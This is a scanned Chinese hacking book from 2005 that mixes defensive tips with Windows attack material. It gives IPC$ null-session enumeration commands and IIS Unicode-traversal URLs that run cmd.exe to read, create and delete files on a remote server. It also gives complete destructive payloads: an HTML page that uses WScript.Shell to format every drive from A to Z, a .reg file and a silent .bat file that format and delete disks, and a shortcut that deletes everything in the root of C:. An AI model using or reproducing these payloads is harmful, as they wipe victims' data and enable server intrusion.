电脑迷 精品图书

赠送册中册
黑客入侵必用命令集

2005奇技赢巧大搜捕系列

黑客奇技赢巧大搜捕 III

李琳巧 张国平 王楠等编著

Hot

收费电影偷偷看

轻松入侵收费影院网站

超级网管

一个按键，不乖的电脑禁上网

高段！文件伪装术

化整为零大变小，程序变图片，影音文件后面藏2个exe？
网管砍不到，偷看的人找不到，狗仔队看不到！

密码曝光光！

Zip、Word、Excel、Access……所有***密码形同虚设

监控网络流量，抓出黑客程序！
防火墙已死！NAT无用！
恶意网页格杀令
完全解决烦人的IE首页绑架、广告弹出窗口、间谍软件和木马
间谍木马大屠杀
十恶不赦黑客工具大公开
别让木马屠了你的电脑

光盘内容：7大黑客技术专题，上千篇黑客攻防教程；
6大类黑客攻防视频教学，上百个攻防演练；
5大黑客文化专题，流行黑客工具大搜捕！

山东电子音像出版社出版

2005奇技赢巧大搜捕系列

黑客奇技赢巧大搜捕 III

李琳巧 张国平 王梅等编著

山东电子音像出版社出版

书　　名：2005 奇技赢巧系列大搜捕——黑客奇技赢巧大搜捕III
策　　划：张　洁
编　　著：李琳巧　张国平　王梅等
责任编辑：刁　戈
执行编辑：罗应中　彭　葵
封面设计：王妙婷
组版编辑：石　磊

出版单位：山东电子音像出版社
地　　址：济南市胜利大街 39 号
邮　　编：250001
电　　话：(0531) 2060055 － 7616
技术支持：(023) 63658888 － 13093

发　　行：山东电子音像出版社
经　　销：各地新华书店、报刊亭
CD 生产：淄博永宝镭射音像有限公司
文本印刷：重庆市升光电力印务有限公司
开本规格：787 × 1092 毫米　16 开　印张 19　300 千字

版本号：ISBN 7-900382-59-3
版　次：2005 年 3 月第 1 版
定　价：25.00 元（1CD+ 手册）

为什么买这本书

首先声明：全书从技术角度出发，对黑客的每个攻击入侵方法和所有实例都进行了详细剖析与分解，但，害人之心不可有，读者诸君切勿将本书内容用于任何违法行为，否则一切法律责任自负！

别以为你的电脑装上了防毒软件就可以安心了，才不呢！这年头，倘若你一直挂在网上、而且又不装防火墙，一定迟早会挂掉的！

首先，黑客可以直接跑进你家电脑玩耍，好像你家大门没关一样，而且你正好在洗澡！！如果是个善良黑客，顶多只会偷窥你的文件、看看你这几年到底干了些什么事，或者是更改一下你的文件、开开小玩笑。

但是，万一你遇上"杀人放火"型的黑客，他除了可以把你的文件全部杀光光之外，还可以窃取你的密码、你的银行卡资料，顺便在你的每篇文档上都加一些问候你老母的字眼！

有鉴于此，本书特别披露黑客惯用的"奇技淫巧"，将他们入侵的伎俩和招数大曝光，大家在一步步跟着学做后即可熟知那些所谓"神秘"的黑客手法，从而高度重视网络安全，并采取相关措施现场自救！

光盘内容：

7大黑客技术专题、上千篇黑客攻防教程；

6大类黑客攻防视频教学、上百个攻防演练；

5大黑客文化专题、流行黑客工具大搜捕！

适用读者：

1.电脑初学者和稍微有点基础的电脑用户。

2.对黑客和黑客技术感兴趣的所有电脑用户。

光盘导读

特别提醒：

一、本光盘中收录的黑客软件皆具有一定的杀伤力，除了可入侵别人计算机外，甚至也有所谓的杀硬盘程序，请千万小心使用。

二、这些软件仅供研究用，以帮助大家有效地抵御和防范黑客，切勿利用来破坏他人的计算机或数据，否则一切后果自负！

三、本光盘已经过严格杀毒，但因收录有黑客程序，所以在运行光盘时某些杀毒软件可能会报警。

四、本光盘和手册中有个别因地址不明而未支付稿酬的作者，请与重庆市版权保护中心联系，由其代为支付。电话：023-67708230，67708231。

全程视频教学	**AutoPlay\Docs\movie.htm**
漏洞攻防	AutoPlay\Docs\Movie\ld.htm
木马教程	AutoPlay\Docs\Movie\mm.htm
入侵实战	AutoPlay\Docs\Movie\rq.htm
QQ 攻防	AutoPlay\Docs\Movie\qq.htm
破解攻防	AutoPlay\Docs\Movie\pj.htm
综合类攻防	AutoPlay\Docs\Movie\zh.htm
经典黑客工具	**AutoPlay\Docs\tool.htm**
扫描探测	AutoPlay\Docs\tool\sm.htm
加密解密	AutoPlay\Docs\tool\jm.htm
嗅探监听	AutoPlay\Docs\tool\xt.htm
远程控制与木马	AutoPlay\Docs\tool\yc.htm
聊天攻防	AutoPlay\Docs\tool\tt.htm
键盘记录	AutoPlay\Docs\tool\jp.htm
邮件攻防	AutoPlay\Docs\tool\yj.htm
炸弹与恶作剧	AutoPlay\Docs\tool\zt.htm
合并分割	AutoPlay\Docs\tool\hb.htm
黑客技术专题	**AutoPlay\Docs\jishu\Templates\index.htm**
安全技术	AutoPlay\Docs\jishu\Templates\安全技术.htm
黑客技术	AutoPlay\Docs\jishu\Templates\黑客技术.htm
安全工具	AutoPlay\Docs\jishu\Templates\安全工具.htm
防火墙	AutoPlay\Docs\jishu\Templates\防火墙.htm
病毒剖析	AutoPlay\Docs\jishu\Templates\病毒.htm
系统漏洞	AutoPlay\Docs\jishu\Templates\系统漏洞.htm
文献检索	AutoPlay\Docs\jishu\Templates\文献检索.htm
黑客文化专题	**AutoPlay\Docs\wenhua\Templates\index.htm**
世界顶尖黑客	AutoPlay\Docs\wenhua\Templates\世界顶尖黑客.htm
中国黑客	AutoPlay\Docs\wenhua\Templates\中国黑客.htm
反黑反毒英雄	AutoPlay\Docs\wenhua\Templates\反黑反毒英雄.htm
黑客影响	AutoPlay\Docs\wenhua\Templates\黑客影响.htm
黑客生活	AutoPlay\Docs\wenhua\Templates\黑客生活.htm

Contents 目录

第1章 黑客从此入门

第2章 Windows攻防

第1章 黑客从此入门

入门级菜鸟黑客必修教程

本文详细介绍黑客在攻击Windows 2000系统时经常利用的一些漏洞和具体步骤以及应对策略，让网络系统管理员在维护系统时尽量做到有的放矢。有一句话非常有道理："世界上没有绝对愚蠢的系统，只有绝对愚蠢网络管理员。"只要我们的网络管理员能够细心地维护系统，相信黑客们是没有可乘之机的。

一、输入法漏洞

这里我们首先介绍一个登录错误，也就是常说的输入法漏洞。当我们启动Windows 2000进行到登录验证的提示界面时，任何用户都可以打开各种输入法的帮助栏，并且可以利用其中具有的一些功能访问系统文件，这也就是说我们可以绕过了Windows2000的用户登录验证机制，并且能以最高管理员权限访问整个系统。所以说这个漏洞的危害性是很大的，而且当我们进入系统后，还可以利用Terminal Server远程通信这个漏洞对系统进行攻击。默认的Windows 2000系统自带的输入法中有这个漏洞的是：智能ABC，微软拼音，内码，全拼，双拼，郑码。所以就我感觉而言这个漏洞是首要修补的漏洞。

1.把不需要的输入法删除掉，例如郑码等。

2.但是毕竟我们不能把所有的自带输入法都删除，如果我们要使用有漏洞的输入法也可以把那个输入法的帮助文件删除掉。这些帮助文件通常在Windows 2000的安装目录下(如:C:\WINNT)的help目录下，对应的帮助文件是：

※ WINIME.CHM 输入法操作指南
※ WINSP.CHM 双拼输入法帮助
※ WINZM.CHM 郑码输入法帮助
※ WINPY.CHM 全拼输入法帮助
※ WINGB.CHM 内码输入法帮助

3.强烈建议用户打Windows 2000 SP3补丁。

二、NetBIOS的信息泄漏

IPC$Null session(空会话)在Windows2000系统里都是已知的安全隐患，虽然打了SP3后可以通过修改注册表来对其进行限制，但不知道为什么Windows 2000还是原封不动地保留着这个空对话。那么就让我们来看看空会话能给入侵者带来什么样的信息：

```
net use \\server\IPC$ "" /user:"" //此命令用来建立一个空会话
net view \\server //此命令用来查看远程服务器的共享资源
\\pc1
\\pc2
命令成功完成。
net time \\server //此命令用来得到一个远程服务器的当前时间。
nbtstat -A server //此命令用来得到远程服务器的NetBIOS用户名字表
NetBIOS Remote Machine Name Table
Name Type Status
NULL <00> UNIQUE Registered
NULL <20> UNIQUE Registered
INTERNET <00> GROUP Registered
XIXI <03> UNIQUE Registered
INet-Services <1C> GROUP Registered
IS~NULL..... <00> UNIQUE Registered
INTERNET <1E> GROUP Registered
ADMINISTATOR <03> UNIQUE Registered
INTERNET <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MAC Address = 00-54-4F-34-D8-80
```

看到了吗？上面出现了两个<03>，这里就看到了对方所有的用户名。

对应的修改方法：

在注册表编辑器中，在LHKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA]项下作如下处理：

Value Name: RestrictAnonymous

Data Type: REG_DWORD

Value: 1

如果你不需要这个服务的话，你可以使用以下命令来删除：

net share ipc$ /del /这条命令是用来删除空会话

net share admin$ /del /这条命令就删除了管理共享

三、UNICODE编码漏洞简单利用命令

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

看到的目录是空的：(例如)

Directory of C:\inetpub\scripts

2000-09-28 15:49 <DIR> .

2000-09-28 15:49 <DIR> ..

如果我们这样输入的话：

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

就可以看到该主机c:盘的目录和文件了。

其他的一些简单的用法：

1.显示文件内容

如果想显示里面的一个badboy.txt文本文件，我们可以这样输入(htm,html、asp,bat等文件都是一样的)

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt

那么该文件的内容就可以通过IE显示出来。

2.建立文件夹的命令

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy

运行后我们可以看到返回这样的结果：

CGI Error

The specified CGI application misbehaved by not returning a complete

set of HTTP headers. The headers it did return are:

英文意思是

CGI错误

具体的CGI申请有误，不能返回完整的HTTP标题，返回的标题为：

3.删除空的文件夹命令：

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy

返回信息同上

4.删除文件的命令：

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt

返回信息同上

5.copy文件且改名的命令：

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt

bad.txt

返回信息：

CGI Error

The specified CGI application misbehaved by not returning a complete

set of HTTP headers. The headers it did return are:

1 file(s) copied.

网络安全常见应用技巧Q&A

Q 我在打开Word 2003时弹出一个错误提示框，提示信息为“没有找到MSVBVM60.DLL，因此这个应用程序未能启动。重新安装应用程序可能会修复此问题。”单击“确定”后也能打开文档，重新启动问题依旧，请问如何解决？

A MSVBVM60.DLL是微软的VB运行库文件，一些应用程序或游戏使用了微软的VB语言技术都需要该库文件的支持。你遇到的问题可能是丢失了该文件而导致的，你可以到其他计算机中通过“搜索”功能找到该文件，然后将其拷贝到系统目录中的“Windows\System32”文件夹中，如果不想手工操作，你也可以直接到网上下载一个程序包直接安装即可，该程序包的下载位置：http://www.skycn.com/soft/2944.html。

Q Windows 2003自带的防火墙应该如何打开和关闭？

A 可以直接在网卡属性里面设置，也可以在服务里面自己开启服务。

Q 我一不小心将桌面快速启动栏中的“快速显示桌面”图标移到桌面，当我再次将其移到快速启动栏时，发现只是移动了快捷方式，而原文件还在桌面，将桌面的原文件删除到回收站后，快速启动栏中的“快速显示桌面”快捷图标又不能使用，此问题如何解决？

A 首先，删除快速启动栏中的“快速显示桌面”快捷图标，然后选中桌面的“快速显示桌面”程序，按下“Shift”键同时用鼠标将此文件拖放到快速启动栏即可。

Q Windows 2000 Server装了ZoneAlarm Pro防火墙，还装了Terminal Service终端服务用来远程控制。可怎么配置都无法从远程连接终端服务，大概是ZoneAlarm Pro禁止了链接请求。应该怎样配置才能让ZoneAlarm Pro允许终端服务连接呢？

A 开放3389端口。

Q 为了方便区分上一段和下一段内容，在Word 2003中，我连续按下“—”键，结果拉出一条横线，在文档编辑完毕后，我想通过“Del”键将这条线删除，却删除不了，请问如何办？

A 选中包括这条横线在内的两段文字，然后单击菜单“格式→边框和底纹”，选择“边框”选项卡，再单击“无”按钮，最后“确定”即可。

Q 我在使用Norton Internet Security时遇到了以下问题：一是由于硬性屏蔽了来路信息，导致Discuz提交安全检查无法通过，在发帖等情况下提示为未定义操作；二是由于误判断，将发帖时的Discuz代码辅助提示判断为广告信息而不被执行。有何解决方法？

A 修改Norton的默认配置可以避免以上问题，方法如下（以Norton Internet Security 2003中文版为例）。

1.调出“选项”窗口，选择“Norton Internet Security→Web内容→浏览站点的信息”，选择“允许”。

2.选择“禁止广告→配置”，取消“启用禁止广告”复选框。

经过上述修改后，在安装有Norton Internet Security的机器上仍然可以顺畅地访问Discuz!及其他网站。

Q 我在使用Foxmail 5.0时，在发邮件时每次单击“特快专递”按钮发邮件时总会得“网络繁忙请稍后再试”的错误提示，请问这是为什么？

A 这可能是你没有设置好DNS服务器：在命令行中使用“ipconfig /all”命令查出你当地的DNS服务器IP地址，然后打开Foxmail，单击菜单“工具→系统设置”，然后在打开的设置窗口中选择“邮件特快专递”选项卡，并将获得的DNS服务器IP地址输入相应框中，最后单击“确定”保存设置即可。

Q 我的Word 2003被一个朋友用过之后，在工具栏中多出了好几个“新建”按钮，使用起来非常不方便，我想将其删除但又不知道如何删除，请问如何解决呢？

A 答：工具栏上有重复的按钮，不能直接删除，可以这样来操作：单击菜单“工具→自定义”，打开“自定义”窗口，然后直接用鼠标将多出的按钮拖动到“自定义”窗口中即可。

Q 单位有人使用BT大量下载东西。以前我在防火墙上封掉对外的6969端口好像很有效果，但是最近好像没啥效果了。请问有什么好的建议吗？

A 那就使用防火墙把6999-9999端口都封了，不过，他们还会开别的，用监视软件看他们用哪个就封哪个。

Q 我听一个朋友说没有摄像头也可以在MSN

Messenger 中与朋友视频聊天，而且我们还可以播放一段视频文件来迷惑对方，不知具体是怎么做的？

A 你可以下载虚拟摄像头软件来达到目的，这款软件就是 Virtual Camera，将其下载并安装到系统中，你的MSN好友就可以看到你有摄像头的标志，并且可以和你进行视频聊天。而你也可以在软件中通过播放按钮给对方播放一部电影了。

Q 系统默认以“18：32”的格式显示系统时间，我现在想让我的系统以“18 点 32 分”的格式来显示时间，不知如何设置？

A 只要修改一下注册表相关键值即可：打开注册表编辑器，然后展开以下分支：[HKEY_CURRENT_USER\Control Panel\International]，在右侧窗口中找到“sTimeFormat”键值项，双击之，在弹出的窗口中将默认的值更改为“HH点mm分”，然后单击“确定”按钮，再按“F5”键刷新注册表并重新启动系统即可。

Q 朋友的一台笔记本电脑，主要就是写写文章，上网查点东西，不玩游戏，其他东西做的也不多。3 月份重装系统安装了 ZoneAlarm 防火墙后，就开始出现：如果 ADSL 网络没有流量（就是不访问点什么，停在那里不动）大概过 10 分钟就会断线，然后机器重新拨号连接！我检查半天，就是找不到有什么问题，请问可能会是什么原因？

A 通常来说，这类防火墙都有当网络闲置时自动断线的功能，而且，一般来说，这个功能默认情况下是启用的，解决这位朋友遇到的问题办法其实很简单，只需禁用这个功能即可。

Q 上次我用瑞星 2004 查杀了系统中的一批病毒，事后我想研究一下上次系统到底中的是什么病毒，不知能不能在瑞星 2004 中查看以前的杀毒历史情况？

A 可以查看杀毒的历史记录：打开瑞星主窗口，然后选择菜单“操作→历史记录”即可打开相应的历史记录窗口，在此窗口中可以通过“当前选择记录”下拉列表来查看不同的历史记录。

Q 一个朋友告诉我最近名叫“震荡波”的病毒非常厉害，如果 Windows XP 系统不打上相应的补丁，很容易就被该病毒攻击，他说可以通过 Windows XP 的自动升级功能来完成补丁的安装，不过我的系统好像不会自动升级，请问如何才能让系统自动升级呢？

A 可能是你的系统关闭了自动升级功能，只要重新开启即可：右击桌面“我的电脑”、选择“属性”，在打开的“系统属性”窗口中选择“自动更新”选项卡，然后选择“保持我的计算机最新...”项，最后单击“应用→确定”即可，这样系统就可以自动进行升级了。

Q 装Kerio Personal Firewall 2.1.5防火墙的这台机器是直接拨号上网（ADSL），两台机器是HUB相连的，通过Windows XP的那个共享来一起上网。现在装了防火墙之后，另一台就不能上网了，不论做什么都不行。请问大家，要创建些怎样的规则才行呢？

A 选择“管理→防火墙→高级→Microsoft网络”、选中“允许其他用户访问我的共享文件夹和打印机”即可。

Q 我在试图打印一些 PDF 文档时，总是无法完成，好像这些 PDF 文档都限制了打印，不知能不能去除这些限制？

A 有些PDF文档在制作时会添加一些限制让你无法打印，不过你可以通过一款叫“Adult PDF Password Recovery”的软件来去除保护这些限制，这个软件可以去除PDF的密码，并且拥有编辑、更改、打印、复制文字、图片或增加注释等权限。

凡是网络存在之处，都不可避免地会受到诸多不安全因素的威胁，在系统中安装防火墙无疑是最明智、有效的选择。我们既然寄希望于防火墙成为个人计算机与网络之间的一道安全屏障，就一定要

对防火墙的方方面面有通透的了解，才能事半功倍，达到预期效果。

Q 除了Norton 8.1版能装在Windows 2003，还有哪个杀毒软件能支持Windows 2003的？

A McAfee VirusScan Enterprise、Kaspersky Anti-Virus for NT Server 都可以，但惟一通过Windows 2003认证的目前是趋势SPNT 5.57中文版。

Q 我现在QQ每发送一个消息，Norton都会进行病毒扫描。在内存驻留Savscan.exe这个程序，在后台强行关闭不了这个文件，一关闭就会出现提示，但是仍然继续扫描，好像是扫描msg.db的一个文件。扫描过程使我用QQ速度很慢，而且CPU占用率很高，请问我如何关闭Norton对QQ的病毒扫描？

A 在Norton的程序选项中，选择“系统→自动防护→排除”，在右侧列表中将QQ程序添加至要“排除的项目”。再选择“其它→威胁类别→排除”，同样添加QQ程序至右侧列表中。

黑客主要攻击手段和方法

不可否认，网络已经溶入到了我们的日常工作和生活中，因此，在我们使用电脑时就得时时考虑被网络攻击的防范工作。俗语说“知己知彼，百战不贻”，要想尽量地免遭黑客的攻击，当然就得对它的主要手段和攻击方法作一些了解。闲话少说，咱这就入正题！

一、黑客常用手段

1.网络扫描——在Internet上进行广泛搜索，以找出特定计算机或软件中的弱点。

2.网络嗅探程序——偷偷查看通过Internet的数据包，以捕获口令或全部内容。通过安装侦听器程序来监视网络数据流，从而获取连接网络系统时用户键入的用户名和口令。

3.拒绝服务——通过反复向某个Web站点的设备发送过多的信息请求，黑客可以有效地堵塞该站点上的系统，导致无法完成应有的网络服务项目（例如电子邮件系统或联机功能）。

4.欺骗用户——伪造电子邮件地址或Web页地址，从用户处骗得口令、信用卡号码等。欺骗是用来骗取目标系统，使之认为信息是来自或发向其所相信的人的过程。欺骗可在IP层及之上发生（地址解析欺骗、IP源地址欺骗、电子邮件欺骗等）。当一台主机的IP地址假定为有效，并为Tcp和Udp服务所相信。利用IP地址的源路由，一个攻击者的主机可以被伪装成一个被信任的主机或客户。

5.特洛伊木马——一种用户察觉不到的程序，其中含有可利用一些软件中已知弱点的指令。

6.后门——攻击者为防原来的进入点被用户探测到，留几个隐藏的路径以方便再次进入。

7.恶意小程序——微型程序，修改硬盘上的文件，发送虚假电子邮件或窃取口令。

8.竞争拨号程序——能自动拨成千上万个电话号码以寻找进入调制解调器连接的路径。是逻辑炸弹计算机程序中的一条指令，能触发恶意操作。

9.缓冲器溢出——向计算机内存缓冲器发送过多的数据，以摧毁计算机控制系统或获得计算机控制权。

10.口令破译——用软件猜出口令。通常的做法是通过监视通信信道上的口令数据包，破解口令的加密形式。

11.社交工程——与公司雇员谈话，套出有价值的信息。

12.垃圾桶潜水——仔细检查公司的垃圾，以发现能帮助进入公司计算机的信息。

二、黑客攻击的方法

1.隐藏黑客的位置

黑客一般会使用如下技术隐藏他们真实的IP地址：

（1）利用被侵入的主机作为跳板

在安装Windows的计算机内利用Wingate软件作为跳板，利用配置不当的Proxy作为跳板。

（2）利用电话转接技术隐蔽自己

利用800号电话的私人转接服务联接ISP，然后再盗用他人的账号上网，通过电话联接一台主机，再经由主机进入Internet。使用这种在电话网络上的“三级跳”方式进入Internet特别难于跟踪。理论上，黑客可能来自世界任何一个角落。如果黑客使用800号拨号上网，他更不用担心上网费用。

2.网络探测和资料收集

黑客利用以下手段得知位于内部网和外部网的主机名：

(1) 使用nslookup程序的ls命令。

(2) 通过访问公司主页找到其他主机。

(3) 阅读FTP服务器上的文挡。

(4) 连接至mailserver并发送expn请求。

(5) Finger外部主机上的用户名。

在寻找漏洞之前，黑客会试图搜集足够的信息以勾勒出整个网络的布局。利用上述操作得到的信息，黑客很容易列出所有的主机，并猜测它们之间的关系。

3. 找出被信任的主机

黑客总是寻找那些被信任的主机。这些主机可能是管理员使用的机器，或是一台被认为是很安全的服务器。

黑客会检查所有运行nfsd或mountd的主机的NFS输出。往往这些主机的一些关键目录(如/usr/bin、/etc和/home)可以被那台被信任的主机mount。

Finger daemon也可以被用来寻找被信任的主机和用户，因为用户经常从某台特定的主机上登录。

黑客还会检查其他方式的信任关系，比如他可以利用CGI的漏洞，读取/etc/hosts.allow文件等。

分析完上述的各种检查结果，就可以大致了解主机间的信任关系。下一步，就是探测这些被信任的主机哪些存在漏洞，可以被远程侵入。

4. 找出有漏洞的网络成员

当黑客得到公司内外部主机的清单后，他就可以用一些Linux扫描器程序寻找这些主机的漏洞。黑客一般寻找网络速度很快的Linux主机运行这些扫描程序。

所有这些扫描程序都会进行下列检查：

◎TCP端口扫描；

◎RPC服务列表。

◎NFS输出列表。

◎共享(如samba、netbiox)列表。

◎缺省账号检查。

◎Sendmail、IMAP、POP3、RPC status和RPC mountd有缺陷版本检测。

进行完这些扫描，黑客对哪些主机有机可乘已胸有成竹了。

如果路由器兼容SNMP协议，有经验的黑客还会采用攻击性的SNMP扫描程序进行尝试，或者使用"蛮力式"程序去猜测这些设备的公共和私有community strings。

5. 利用漏洞

现在，黑客找到了所有被信任的外部主机，也已经找到了外部主机所有可能存在的漏洞。下一步就该开始动手入侵主机了。

黑客会选择一台被信任的外部主机进行尝试。一旦成功侵入，黑客将从这里出发，设法进入公司内部的网络。但这种方法是否成功要看公司内部主机和外部主机间的过滤策略。攻击外部主机时，黑客一般是运行某个程序，利用外部主机上运行的有漏洞的daemon窃取控制权。有漏洞的daemon包括Sendmail、IMAP、POP3各个漏洞的版本，以及RPC服务中诸如statd、mountd、pcnfsd等。有时那些攻击程序必须在与被攻击主机相同的平台上进行编译。

6. 获得控制权

黑客利用daemon的漏洞进入系统后会做两件事：清除记录和留下后门。

他会安装一些后门程序，以便以后可以不被察觉地再次进入系统。大多数后门程序是预先编译好的，只需要想办法修改时间和权限就可以使用，甚至于新文件的大小都和原有文件一样。黑客一般会使用rcp传递这些文件，以便不留下FTP记录。

一旦确认自己是安全的，黑客就开始侵袭公司的整个内部网。

7. 窃取网络资源和特权

黑客找到攻击目标后，会继续下一步的攻击，步骤如下：

(1) 下载敏感信息

如果黑客的目的是从某机构内部的FTP或WWW服务器上下载敏感信息，他可以利用已经被侵入的某台外部主机轻而易举地得到这些资料。

(2) 攻击其他被信任的主机和网络

大多数的黑客仅仅为了探测内部网上的主机并取得控制权，只有那些"雄心勃勃"的黑客，为了控制整个网络才会安装特洛伊木马和后门程序，并清除记录。那些希望从关键服务器上下载数据的黑客，常常不会满足于以一种方式进入关键服务器，他们会费尽心机找出被关键服务器信任的主机，安排好几条备用通道。

(3) 安装sniffers

在内部网上，黑客要想迅速获得大量的账号(包括用户名和密码)，最为有效的手段是使用"sniffer"程序。

黑客会使用上面各节提到的方法，获得系统的控制权并留下再次侵入的后门，以保证sniffer能够执行

(4) 瘫痪网络

如果黑客已经侵入了运行数据库、网络操作系统等关键应用程序的服务器，使网络瘫痪一段时间是轻而易举的事。

如果黑客已经进入了公司的内部网，他可以利用许多路由器的弱点重新启动、甚至关闭路由器。如果他们能够找到最关键的几个路由器的漏洞，则可以使公司的网络彻底瘫痪一段时间。

常用文件的恐怖用法

一、快捷方式

快捷方式也恐怖哦，比如惹毛了一个老实人，那将不堪设想，经常新建快捷方式的朋友肯定知道"目标"这一栏，或者查看已有的快捷方式的属性，也有"目标"这栏，既然是在"目标"这栏调用相应的程序，那么调用format或delete命令加几个参数会如何呢？在"目标"里填入："C:\windows\command\delete/y C:*.*"(要引号)。那么，你C盘根目录的东西就魂飞魄散了。理论上可以调用任何应用程序，指向DOS、指向文档、指向帮助文件、输入法漏洞就可以新建NET文件快捷方式、在"目标"里填入相关命令便可以取得管理员权限，这具体不说，因为不在本文讨论范围内，欲知详情请查阅相关资料。

防护方法：

将Windows/command/format或delete等有毁灭性的命令文件改名。对于来路不明的快捷方式最好先查看属性中的"目标"再决定是否运行。

二、HTML文件或HTM文件

HTML是超文本标识语言，是一个功能强大的语言，可以调用自身以外的脚本，如VBS、JS、GIP还可以调用Activex控件，现在在广阔的网络空间里，一个最小的个人网站也有一个首页，这么广泛使用的文件为什么是恐怖文件呢？就像地球60多亿人口中有恐怖份子，一个道理嘛！有人在该类型文件里加入恶意代码，注意，我这里说的不是改写注册表改IE的恶意代码。而是说直接加入DOS命令的，当浏览到含有下面代码的页面时，就会弹出26个DOS窗口，从Z盘格式化到A盘，速度极快，代码如下：

```
<OBJECT classid=clsid:F935DC22-1CF0-11D0-
ADB9-00C04FD58A0B id=wsh></OBJECT>
<SCRIPT>
wsh.Run('start /m format.com z:/q /autotest
/u');
wsh.Run('start /m format.com y:/q /autotest
/u');
wsh.Run('start /m format.com x:/q /autotest
/u');
wsh.Run('start /m format.com w:/q /autotest
/u');
wsh.Run('start /m format.com v:/q /autotest
/u');
wsh.Run('start /m format.com u:/q /autotest
/u');
wsh.Run('start /m format.com t:/q /autotest
/u');
wsh.Run('start /m format.com s:/q /autotest
/u');
wsh.Run('start /m format.com r:/q /autotest
/u');
wsh.Run('start /m format.com q:/q /autotest
/u');
wsh.Run('start /m format.com p:/q /autotest
/u');
wsh.Run('start /m format.com o:/q /autotest
/u');
wsh.Run('start /m format.com n:/q /autotest
/u');
wsh.Run('start /m format.com m:/q /autotest
/u');
wsh.Run('start /m format.com l:/q /autotest
/u');
wsh.Run('start /m format.com k:/q /autotest
/u');
wsh.Run('start /m format.com j:/q /autotest
/u');
wsh.Run('start /m format.com i:/q /autotest
/u');
wsh.Run('start /m format.com h:/q /autotest
/u');
wsh.Run('start /m format.com g:/q /autotest
/u');
```

```
wsh.Run("start /m format.com f:/q /autotest /u");
wsh.Run("start /m format.com e:/q /autotest /u");
wsh.Run("start /m format.com d:/q /autotest /u");
wsh.Run("start /m format.com c:/q /autotest /u");
wsh.Run("start /m format.com b:/q /autotest /u");
wsh.Run("start /m format.com a:/q /autotest /u");
</SCRIPT>
```

有些文章说的危险文本文件是指file.txt.html，其实也是html文件，只不过图标是文本文件的，实质就是网页文件。我来解释一下参数意义：/q是快速格式化，/autotest是自动检测分区类型参数 /u是无条件格式化。看了上面是否勾起你当年痛苦的回忆，不用怕，照下面几点做就可以杜绝这种事再次发生。

防护方法：

1. 不要浏览陌生的HTML文件，在未知情况下应用记事本看文件源代码是否有恶意代码以确定是否运行。

2. IE弹出对话框提示该页面不安全之类的，除非你清楚地知道你在做什么，否则千万不要点确定。

3. 将windows/wscript.exe等网页脚本解释器改名，在IE中禁用脚本调试，活动脚本，把ActiveX控件和插件关闭，把IE安全级别设为高级等。

4. 安装网络防火墙，本人强烈推荐诺顿的产品。

三、注册表导入文件

不要小看这种文件，任何东西都有好有坏，好的嘛，恢复注册表；坏的嘛，格式化硬盘。如果危害没这么大，我才懒得说。用记事本编个kill.reg内容如下：

```
REGDIT4
(这里要空一行)
[HKEY--CLASSES--ROOT\CLSID\shell\open\command]
@="format d: /q/u /autotest"
(这里要空两行)
```

运行这个文件，硬盘便咔咔响了。

防护方法：

1. 用记事本打开注册表导入文件查看内容，判断无误后再决定是否运行。

2. 把那些危险命令改名。如format.com等

3. 批处理Bat文件

四、批处理bat文件

这是DOS下的三大可执行文件之一，只有bat文件可以用文本编辑器编写，让它替我们智能化的做一系列事情，省去很多烦琐的工作。既然这样，调用几个命令怎么样？看过上面的朋友就知道了，马上闪出format命令，怎么样？都是格式化或删除命令吧？所以我不说危险而说恐怖了，嘿嘿。打开记事本或在DOS下输入EDIT进文本编辑器。然后输入以下内容：

```
@echo off
Wait for a moment ,please……Loading now!
@delete /y c:\. >nul
@format D:/q\uqautotest >nul
@format E:/q/u/autotest >nul
@echo game over ! I think you are going to die !
```

然后存成*.bat文件运行看看吧。欲哭无泪吧？这个文件更加阴，不出任何提示，无声无息格了你的硬盘。

防护方法：

很恐怖吧？我们当然要预防，要避免这些文件的恶意攻击，我总结了一些通用方法。

1. 既然文件都是调用文件，那么就把那些文件删除或改名，如format.com delete.com等。

2. 既然都是格式化，大家知道，如果该分区运行了程序，那么格式化将无法完成。所以，如果可以，每个分区都运行一些程序，如D盘运行mp3，E盘运行QQ，F盘运行防火墙……

3. 运行不明文件先查看属性或源代码。补充一点，还有一种文件，就是碎片文件，据说也有很强的破坏力，但我没经历过也没见过，所以请哪位高手赐教，如果产生碎片文件，二话不说就删去。